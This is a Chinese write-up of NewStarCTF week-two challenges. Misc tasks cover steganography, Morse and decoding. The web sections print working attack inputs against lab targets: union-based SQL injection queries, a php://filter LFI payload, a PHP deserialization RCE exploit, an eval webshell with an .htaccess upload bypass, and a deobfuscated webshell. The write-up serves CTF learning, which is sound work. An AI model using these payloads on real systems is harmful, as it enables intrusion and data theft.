首页 > 其他分享 >NewStarCTF-secondweek

NewStarCTF-secondweek

时间:2024-03-31 10:34:03浏览次数:18  
标签:NewStarCTF 114 flag xhr 117 secondweek php 95

一、新建Word文档

1.doc文档隐写,将如图所示的设置打开,即可看到文字。image-20231011170130114

image-20231011170141545

2.新佛曰加密,在线网站解密。(http://hi.pcmoe.net/buddha.html)

image-20231011170203713

二、永不消逝的电波

1.附件是个音频,audacity打开,可以看到明显的长短波。

image-20231011170346699

2.莫斯密码解密即可。

源报文:

..-./.-../.-/--./-/...././-..././.../-/-.-./-/..-././.-./../.../-.--/---/..-/

在线解码。(http://www.all-tool.cn/Tools/morse)

image-20231011170612609

三、1-序章

1.是个日志文件,里面全都是sql盲注的语句。

image-20231011170739477

2.选择每一位判断的最后一个测试语句的值即可。

过滤出的数据

121,111,117,95,119,52,110,116,95,115,51,99,114,101,116,102,108,97,103,123,106,117,115,116,95,119,52,114,109,95,117,112,95,115,48,95,121,111,117,95,110,51,101,100,95,104,52,114,100,101,114,95,54,48,50,54,99,100,51,50,125,44

python写代码进行转换

list = [121, 111, 117, 95, 119, 52, 110, 116, 95, 115, 51, 99, 114, 101, 116, 102, 108, 97, 103, 123, 106, 117, 115,
        116, 95, 119, 52, 114, 109, 95, 117, 112, 95, 115, 48, 95, 121, 111, 117, 95, 110, 51, 101, 100, 95, 104, 52,
        114, 100, 101, 114, 95, 54, 48, 50, 54, 99, 100, 51, 50, 125, 44]
str = ""
for i in list:
    str += chr(i)
print(str)			# you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32},

四、base!

1.文件打开,是169行的base64编码,尝试解码一下。

import base64
with open("base.txt") as f:
    readlines = f.readlines()
    for i in readlines:
        print(base64.b64decode(i))

从结果中看不到flag字样,说明想法错了。

2.但是内容确实是base64编码的结果,这就涉及到base64隐写了,可以通过工具进行提取。

image-20231011183333637

再将隐写信息进行base58解码即可。

image-20231011183352855

五、WebShell的利用

1.有一个附件,打开。

image-20231011183605351

编写php脚本对其进行解密。

<?php
$shell = "eval(str_rot13(convert_uudecode(str_rot13(base64_decode('此处省略题目文件中的编码内容')))));";
for($i=0; $i<50; $i++){    
	if(preg_match("/base64/",$shell)){        
		$tmp = preg_replace("/eval/","return ",$shell);        
		$shell = eval($tmp);    
	}else{        
		break;    
	}
}
echo $shell;

最终得到webshell。

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

2.拿到webshell,下面就是一个简单的远程命令执行。

image-20231016082232346

六、Jvav

1.根据题目提示,参考题目名jvav,可以检阅到java盲水印的知识,可以利用github上的这个项目来提取java盲水印内容。(https://github.com/ww23/BlindWaterMark)

图片

![图片 (1)](E:\HDU\CTF\平常做题WP\NewStarCTF-secondweek.assets\图片 (1).png)

七、游戏高手

1.查看源代码中的app_v2.js文件内容,可以看到在游戏结束的处理时代码如下:

//游戏结束
function gameover(){
    if(gameScore > 100000){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/api.php", true);
        xhr.setRequestHeader("Content-Type", "application/json");
        xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var response = JSON.parse(xhr.responseText);
            alert(response.message);
        }
        };
        var data = {
            score: gameScore,
        };
        xhr.send(JSON.stringify(data));
    }
	alert("成绩:"+gameScore);
	gameScore=0;  
	curPhase =PHASE_READY;  
	hero = null;
	hero = new Hero();  	    
}

可以看到当分数大于10w分的时候XHR会向api.php发送一个json数据包,json内容如下:

{"score":gameScore}

然后我们可以使用burp来完成发包。

image-20231016084334219

POST /api.php HTTP/1.1
Host: 1e0fed80-3253-4d31-b5b4-8a395ccb9981.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 17
Connection: close

{"score":1000000}

除此之外也可以直接在控制台设置gameScore的值,然后结束游戏就可以获得Flag:

image-20231016084444460

image-20231016084506027

八、include 0。0

1.进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用php://filter协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> 

还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:

php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

得到flag.php文件经过编码后的内容:

image-20231016084816612

+ADw?php //flag+AHs-ee20fad7-2af6-4ca4-8700-bc584e38a2e3+AH0

可以直接根据Flag格式转换出原本的文件内容,或者找个在线的utf-7转utf-8工具(https://www.novel.tools/decode/UTF-7)

image-20231016084939938

九、ez_sql

1.随便可以点个链接,发现有传参值id。

image-20231016085130188

2.大概率存在sql注入,给id传 TMP0919'# ,可以查出结果,说明存在注入。#要编码成%23。

image-20231016085213384

查询的信息可以回显,说明是union注入,然后要判断字段数。

?id=TMP0919' Order by 1#

从1一直递增,递增到6时,页面不回显,说明字段数是5.

image-20231016085254068

image-20231016085316091

判断显错位

?id=1' uNion Select 1,2,3,4,5#

image-20231016085349939

查询表名

?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23

image-20231016085415655

查询字段名

?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23

image-20231016085437265

查询Flag值:

?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23

image-20231016085503378

十、Unserialize?

1.进入题目给出源码,思路很简单,只需要设置evil类中cmd成员的值然后反序列化触发__destruct析构函数即可触发RCE。

<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?>

RCE的绕过也很简单,过滤了一些读取文件的命令,但是仍然很多命令可以用,例如head。

需要注意的是这里的cmd是private属性的,因此需要对序列化字符串进行urlencode,构造Exp如下:

<?php
class evil {    
	private $cmd = 'head /th1s_1s_fffflllll4444aaaggggg';
}
echo urlencode(serialize(newevil));//O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A35%3A%22head%20%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

注意要把命令中的加号替换为%20或者空格。

image-20231016090205875

十一、Upload again!

本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测

1.上传一个一句话木马,但是后缀为jpg格式,上传成功,但是访问不能将其解析为php。

image-20231016090631228

2.抓包,尝试修改上传的内容为如下内容,来绕过<?的过滤

<script language="php">@eval($_REQUEST['8']);</script>

image-20231016090821993

然后上传.htaccess文件,让服务器把.jpg文件当成php解析。

AddType application/x-httpd-php .jpg

image-20231016091025069

然后再访问上传的3.jpg,执行一句话木马。

image-20231016091110383

image-20231016091338919

十二、R!!C!!E!!

1.首先看到提示有信息泄露,可以使用dirsearch扫,扫出了 /.git 。

image-20231016091539148

image-20231016091826007

2.使用GitHack工具获取源码。

image-20231016092032459

扫出index.php,就是主页的源码,没有有效信息,还有一个bo0g1pop.php ,代码如下:

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。

第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。

image-20231016092440894

标签:NewStarCTF,114,flag,xhr,117,secondweek,php,95
From: https://www.cnblogs.com/sbhglqy/p/18106466

相关文章

  • NewStarCTF-fourthweek
    一、R通大残下载附件后发现图片最上面有一行色块:编写脚本提取出第一行像素色块的RGB值:fromPILimportImageimage=Image.open('secret.png')pixels=image.load()width,height=image.sizeforxinrange(width):r,g,b=pixels[x,0]print(f"......
  • NewStarCTF-firstweek
    一、Crypto-brainfuck1.附件内容如下。++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>+++++......
  • NewStarCTF-fifthweek
    一、隐秘的图片给出了两张图片,像是二维码,但是其中一张图片是损坏的,因此想到使用Stegsolve对两张图片进行异或:异或得到一张新的二维码,扫描获得Flag:二、ezhard拿到文件之后发现是硬盘格式文件新建目录挂载flag在hint.png三、新建Python文件pyc文件隐写很容易就能找......
  • NewStarCTF 2023 公开赛道 做题随笔(WEEK1|MISC部分)
    第一题下载打开得到TXT文件好的看样子应该是base32,复制到base在线转换看看得到这玩意 base58转换得到 出了flag  第二题 下载得到一张二维码用隐写软件试试得到一张这个以为是摩斯密码,试试得到有个这玩意,嘶,好像不是试试LSB 得到flag 第三题......
  • [newstarctf2023] --RE wp
    AndroGenshin:rc4加密表,base64换表:脚本梭就行username=b"genshinimpact"base64_table=[125,239,101,151,77,163,163,110,58,230,186,206,84,84,189,193,30,63,104,178,130,211,        164,94,75,16,32,33,193,160,120,......
  • NewStarCTF 2023 WEEK2|REVERSE SMC 使用IDApython静态解决SMC
    先来一篇IDApyhotn的指令教程https://www.cnblogs.com/zydt10/p/17676018.html*自己编的这题对应的expa=[0x11,0x22,0x33,0x44]foriinrange(38):result=a[i&3]ida_bytes.patch_byte(0x403040+i,get_wide_byte(0x403040+i)^result)在IDA中运行完exp之后,......
  • newstarctf2023 reverse 题解汇总
    newstarctf2023reverse题解汇总week1easy_REdie查无壳64直接IDA启动跟到main函数找到两部分flag拼起来就行了。flag{we1c0me_to_rev3rse!!}ELFdie查64ELFIDA启动稍微读一下写个py逆一下它的加密就行了flag{D0_4ou_7now_wha7_ELF_1s?}importbase64a="VlxRV......
  • [NewStarCTF WEEK5] pwn-planet 详解
    这道题目更多是考pwner的逆向功底(虽然程序逻辑也不是非常复杂=_=)老规矩,先checksec查看程序保护全开看一下main函数__int64__fastcallmain(inta1,char**a2,char**a3){unsignedintv4;//eaxchars1[88];//[rsp+20h][rbp-60h]BYREFunsigned__int64v6;......
  • NewStarCTF 2023 公开赛道 WEEK4|MISC 部分WP
    R通大残1、题目信息R通大残,打了99,补!2、解题方法仔细分析题目,联想到隐写的R通道。首先解释一下:R是储存红色的通道,通道里常见有R(红)、G(绿)、B(蓝)三个通道,如果关闭了R通道图片就没有红色的部分,G、B同理。因此我们想到R大残应该是不显示红色了,猜测结果就在R通道里,所以使用Stegsolv......
  • NewStarCTF 2023 公开赛道 Week3
    官方WPhttps://shimo.im/docs/QPMRxzGktzsZnzhz/readNewStarCTF2023Week3官方WriteUp.htmlCryptoRabin'sRSA参考博客:RSA攻击之Rabin密码体制_rsarabin-CSDN博客使用轩禹一把梭了Misc阳光开朗大男孩社会主义核心价值观https://ctf.bugku.com/tool/cvecode解码得......